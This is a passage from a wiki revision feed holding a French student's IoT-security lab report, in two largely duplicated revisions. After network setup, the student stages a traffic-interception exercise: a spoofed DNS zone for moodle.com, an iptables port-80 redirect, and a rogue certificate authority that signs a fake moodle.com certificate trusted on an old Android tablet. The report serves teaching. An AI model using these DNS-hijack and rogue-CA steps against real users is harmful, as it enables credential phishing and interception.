    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici, ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord, on modifie &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis, on crée la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone exemple.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vers un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on configure &amp;lt;code&amp;gt;Apache2&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommée CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, on vient générer une demande de signature de certificat :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, on vient signer le site avec le certificat de CertiFiable :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sûr le faux Moodle, mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposée est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai dû prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installé &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solutions avant que la VM ne crash d'elle-même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La première est toute simple, connecter la Zabeth directement au WiFi, ce qui est difficile à distance. La seconde, qui est je pense possible, est de changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo_certifiable.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
Maintenant, on constate en se connectant sur moodle.com à partir de cette tablette que l'on est bien redirigé vers le faux site et qu'il est sécurisé avec le magnifique cadenas vert.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Photo moodle.png|sans_cadre]]&lt;/div&gt;</summary>
		<author><name>Vdetrez</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10515</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b1</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b1&amp;diff=10515"/>
		<updated>2025-10-07T16:59:53Z</updated>

		<summary type="html">&lt;p&gt;Vdetrez : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Fichier:1107px-Titre page.png|sans_cadre|820x820px]]&lt;br /&gt;
&lt;br /&gt;
= Serveur virtuel (17/09) =&lt;br /&gt;
Dans un premier temps, on vient créer un serveur virtuel sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec la commande &amp;lt;code&amp;gt;xen-create-image --hostname=SE5.vdetrez --dhcp --dir=/usr/local/xen --size=10G --memory=2G --dist=daedalus --bridge=bridgeStudents&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, sur capbreton dans le dossier &amp;lt;code&amp;gt;/etc/network/interfaces.d&amp;lt;/code&amp;gt; on vient créer un fichier &amp;lt;code&amp;gt;g1_vdetrez&amp;lt;/code&amp;gt; pour mettre un place une nouvelle interface dans le VLAN 410.  &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
auto Trunk.410&lt;br /&gt;
iface Trunk.410 inet manual&lt;br /&gt;
        vlan-raw-device Trunk&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g1_vdetrez&lt;br /&gt;
iface g1_vdetrez inet manual&lt;br /&gt;
	bridge_ports Trunk.410&lt;br /&gt;
	up ip link set $IFACE up &lt;br /&gt;
	down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a maintenant accès à la machine SE5.vdetrez (en ayant évidemment fait l'erreur du mettre &amp;quot;.&amp;quot; à la place de &amp;quot;-&amp;quot;) et on vient y configurer nos adresses IPv4.&lt;br /&gt;
&lt;br /&gt;
Mon adresse IPv4 routé est la &amp;lt;code&amp;gt;172.26.145.100&amp;lt;/code&amp;gt; et mon IPv4 dans le VLAN 410 est &amp;lt;code&amp;gt;172.16.10.0&amp;lt;/code&amp;gt; &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
	address 172.26.145.110&lt;br /&gt;
	netmask 255.255.255.0&lt;br /&gt;
	gateway 172.26.145.251&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
	address 172.16.10.0/24&lt;br /&gt;
#&lt;br /&gt;
# The commented out line above will disable TCP checksumming which&lt;br /&gt;
# might resolve problems for some users.  It is disabled by default&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On vérifie avec la commande &amp;lt;code&amp;gt;ip a&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:41 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.26.145.110/24 brd 172.26.145.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:6050:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 853sec preferred_lft 753sec&lt;br /&gt;
    inet6 2a01:c916:2047:c850:216:3eff:fe23:7441/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 2591853sec preferred_lft 604653sec&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7441/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:23:74:42 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 172.16.10.0/24 brd 172.16.10.255 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fe23:7442/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on constate que notre serveur à accès à internet avec la commande &amp;lt;code&amp;gt;ping 8.8.8.8&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Point d'accès WiFi (29/09) =&lt;br /&gt;
Pour l'instant, nous mettons de coté ce point du TP car il n'est pas utile pour la suite.&lt;br /&gt;
&lt;br /&gt;
= Sécurisation WiFi par WPA2-PSK =&lt;br /&gt;
&lt;br /&gt;
Pour communiquer avec le routeur cisco, on branche le port série en USB et on se connecte avec la commande &amp;lt;code&amp;gt;minicom -D /dev/ttyUSB0 -b 9600&amp;lt;/code&amp;gt;.La première étape fut la création du ssid &amp;lt;code&amp;gt;SE5-SSID10&amp;lt;/code&amp;gt;.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
dot11 ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
vlan 410&lt;br /&gt;
&lt;br /&gt;
authentication open&lt;br /&gt;
&lt;br /&gt;
authentication key-management wpa version 2&lt;br /&gt;
&lt;br /&gt;
wpa-psk ascii Cisco2025&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Puis on configure l'interface &amp;lt;code&amp;gt;Dot11Radio0&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
interface dot11radio 0&lt;br /&gt;
&lt;br /&gt;
encryption mode ciphers aes-ccm&lt;br /&gt;
&lt;br /&gt;
ssid SE5-SSID10&lt;br /&gt;
&lt;br /&gt;
station-role root&lt;br /&gt;
&lt;br /&gt;
no shutdown&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après cela, on retourne sur notre serveur virtuel et on y implémente un serveur DHCP pour l'attribution des IP aux machines se connectant sur le routeur. On retrouve cette configuration dans &amp;lt;code&amp;gt;/etc/dhcp/dhcpd.conf&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
# dhcpd.conf&lt;br /&gt;
&lt;br /&gt;
option domain-name &amp;quot;plil.info&amp;quot;;&lt;br /&gt;
option domain-name-servers ns.plil.info;&lt;br /&gt;
&lt;br /&gt;
default-lease-time 600;&lt;br /&gt;
max-lease-time 7200;&lt;br /&gt;
&lt;br /&gt;
ddns-update-style none;&lt;br /&gt;
&lt;br /&gt;
authoritative;&lt;br /&gt;
&lt;br /&gt;
subnet 172.16.10.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.10.100 172.16.10.200;&lt;br /&gt;
  option domain-name-servers 172.16.10.1;&lt;br /&gt;
  option routers 172.16.10.1;&lt;br /&gt;
  default-lease-time 600;&lt;br /&gt;
  max-lease-time 7200;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on implémente un serveur DNS minimal dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.options&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
options {&lt;br /&gt;
        directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
        recursion yes;&lt;br /&gt;
        allow-query {172.16.10.0/24; 127.0.0.1;};&lt;br /&gt;
&lt;br /&gt;
         forwarders {&lt;br /&gt;
                8.8.8.8;&lt;br /&gt;
                1.1.1.1;&lt;br /&gt;
         };&lt;br /&gt;
&lt;br /&gt;
        dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
        listen-on {127.0.0.1; 172.16.10.1;};&lt;br /&gt;
        listen-on-v6 { none; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Et enfin on mets en place une mascarade entre le VLAN 410 et le routeur du réseau des salles de projets pour donner l'accès à internet.&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interception de flux (30/09) =&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Pour cette partie, on va ajouter une zone primaire à notre serveur DNS avec le nom Internet du site que l'on veut rediriger vers notre machine.&lt;br /&gt;
&lt;br /&gt;
Ici ce sera le merveilleux &amp;lt;code&amp;gt;moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
D'abord on modifie /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;moodle.com&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.moodle.com&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on créer la fameuse zone &amp;lt;code&amp;gt;db.moodle.com&amp;lt;/code&amp;gt; dans le même répertoire &amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    200&lt;br /&gt;
@       IN      SOA     ns.moodle.com. admin.moodle.com. (&lt;br /&gt;
                        5       ;&lt;br /&gt;
                        3600    ;&lt;br /&gt;
                        1800    ;&lt;br /&gt;
                        604800  ;&lt;br /&gt;
                        86400   ;&lt;br /&gt;
)&lt;br /&gt;
        IN      NS      ns.moodle.com.&lt;br /&gt;
ns      IN      A       172.16.10.1&lt;br /&gt;
@       IN      A       172.16.10.1&lt;br /&gt;
www     IN      CNAME   ns&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier si notre configuration est correcte, on exécute ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkconf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;sudo named-checkzone exemple.com /etc/bind/db.moodle.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
Dans cette partie, on ajoute une règle &amp;lt;code&amp;gt;iptables&amp;lt;/code&amp;gt; pour rediriger le flux TCP vert un port local, le &amp;lt;code&amp;gt;8080&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iptables -t nat -A PREROUTING -i eth0  -p tcp --dport 80 -j REDIRECT --to-ports 8080&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination&lt;br /&gt;
  385  133K MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
    0     0 MASQUERADE  0    --  *      eth0    172.16.10.0/24       0.0.0.0/0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur apache sécurise (04/10) ==&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on va créer un certificat auto-signé :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -nodes -days 365   -newkey rsa:2048   -keyout /etc/ssl/apache/apache-selfsigned.key   -out /etc/ssl/apache/apache-selfsigned.crt   -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Popo/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis on configure apache2&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;linux-config&amp;quot;&amp;gt;&lt;br /&gt;
  GNU nano 7.2      /etc/apache2/sites-available/secure-site.conf&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache.key&lt;br /&gt;
&lt;br /&gt;
    # Optionnel : log&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/ssl-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/ssl-access.log combined&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Redirection HTTP  ^f^r HTTPS&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName moodle.com&lt;br /&gt;
    Redirect permanent / https://moodle.com/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Maintenant, en prévision de la suite (voir explication dans Machine virtuelle Android), on va créer une autorité de certification nommé CertiFiable:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -x509 -new -nodes -keyout ca.key -sha256 -days 365 -out ca.crt -subj &amp;quot;/CN=CertiFiable&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis on vient générer une demande de signature de certificat:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl req -new -newkey rsa:2048 -nodes -keyout apache.key -out apache.csr -subj &amp;quot;/CN=moodle.com&amp;quot;&amp;lt;/code&amp;gt;Puis on vient signer le site avec le certificat de CertiFiable:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;openssl x509 -req -in apache.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out apache.crt -days 365 -sha256&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Machine virtuelle &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; =&lt;br /&gt;
Actuellement, si on navigue sur internet et que l'on se rend sur moodle.com, on atterrit bien sur le faux Moodle mais comme le téléphone ne connait pas l'autorité de certification nommé CertiFiable, on a le droit à ce magnifique message de connexion non sécurisée:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Avertissement moodle.png|sans_cadre]][[Fichier:Moodle le magnifique.png|sans_cadre]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Malheureusement, il est aujourd'hui impossible d'ajouter facilement une autorité de certification sur son téléphone.&lt;br /&gt;
&lt;br /&gt;
C'est pour cela qu'une solution proposé est d'installer une machine virtuelle d'une ancienne version d'&amp;lt;code&amp;gt;Android&amp;lt;/code&amp;gt; où il était possible d'en ajouter.&lt;br /&gt;
&lt;br /&gt;
En ayant suivi ce tuto (https://help.clouding.io/hc/en-us/articles/4405454393756-How-to-virtualize-Android-with-QEMU-KVM), j'ai réussi à installer une VM sur Zabeth4 (j'ai du prendre une autre iso car celle du site était inaccessible). &lt;br /&gt;
&lt;br /&gt;
J'ai installer &amp;lt;code&amp;gt;VNC Viewer&amp;lt;/code&amp;gt; pour pouvoir manipuler la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
En étant sur la VM, j'ai pu me rendre compte qu'il n'était pas possible de se connecter au WiFi, c'est la connexion du pc qui est simulé comme un réseau WiFi dans la VM.&lt;br /&gt;
&lt;br /&gt;
J'ai pu réfléchir à deux solution avant que la VM ne crash d'elle même et soit impossible à redémarrer...&lt;br /&gt;
&lt;br /&gt;
La premier est toute simple, connecter la Zabeth directement au wifi, ce qui est difficile à distance. La seconde, qui est je pense possible, changer la carte réseau dans les fichiers de conf de la VM pour mettre celle supportant le WiFi.&lt;br /&gt;
&lt;br /&gt;
Je n'ai donc pu tester aucune de ces deux solutions, la VM n'étant plus.&lt;br /&gt;
&lt;br /&gt;
= Machine &amp;lt;code&amp;gt;android&amp;lt;/code&amp;gt; (06/10) =&lt;br /&gt;
Pour cette dernière partie, j'ai retrouvé une tablette sous &amp;lt;code&amp;gt;Android 4.4 KitKat&amp;lt;/code&amp;gt; qui permet d'ajouter des autorités de certification.&lt;br /&gt;
&lt;br /&gt;
C'est donc ce que j'ai fait:&lt;br /&gt;
